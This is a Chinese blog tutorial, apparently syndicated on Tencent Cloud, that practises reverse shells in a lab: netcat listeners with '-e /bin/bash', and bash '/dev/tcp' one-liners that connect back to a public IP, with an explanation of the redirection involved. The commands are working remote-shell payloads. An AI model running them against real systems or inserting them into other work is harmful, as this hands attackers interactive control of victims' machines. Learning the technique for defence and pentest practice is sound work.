反弹shell(reverse shell),就是控制端监听在某TCP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步
参考百度查询到的关于shell反弹实践的一些文章,下面介绍我这边实践的过程
如下图所示
(图片可放大查看)
1、被控端主机——IP:192.168.31.84
2、kali控制端主机:192.168.31.118
若没有nc命令,使用yum方式进行安装
yum install nmap-ncat
(图片可放大查看)
(图片可放大查看)
firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload
nc -n -lvvp 5432 -t -e /bin/bash
(图片可放大查看)
nc 192.168.31.84 5432
执行shell命令,可以看到输入shell命令后被控主机的shell输出结果
(图片可放大查看)
(图片可放大查看)
如下图所示 被控端主机位于NAT后 控制端主机位于公网
1)控制端主机开启端口5432监听
由于我这里是一台云主机,需要firewalld开放5432且云主机安全组规则也要放开该端口
(图片可放大查看)
(图片可放大查看)
firewall-cmd --zone=public --add-port=5432/tcp --permanent
firewall-cmd --reload
nc -n -lvvp 5432
(图片可放大查看)
nc X.X.X.X(公网IP) 5432 -t -e /bin/bash
(图片可放大查看)
以上是nc进行shell反弹的实践过程,下面介绍bash进行shell反弹 bash 直接反弹的两种写法
1)写法1
bash -i > /dev/tcp/81.X.X.X/5432 0>&1 2>&1
(图片可放大查看)
2)写法2
bash -i >& /dev/tcp/81.X.X.X/5432 0>&1
(图片可放大查看)
具体原理可以参考先知社区上的这两篇文章
Linux反弹shell(一)文件描述符与重定向
——https://xz.aliyun.com/t/2548
Linux反弹shell(二)反弹shell的本质
——https://xz.aliyun.com/t/2549
1)bash -i
-i 代表交互式
-i If the -i option is present, the shell is interactive.
2)/dev/tcp/ip/port是一个特殊的文件,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信
3)0>&1 标准输入与标准输出内容结合后重定向到标准输出里
当然shell反弹的方式不局限于nc与bash两种方式,还有其它python,java,perl,php,ruby,socat等等,可以自动上网搜寻,本文就点到为止
本文分享自 WalkingCloud 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!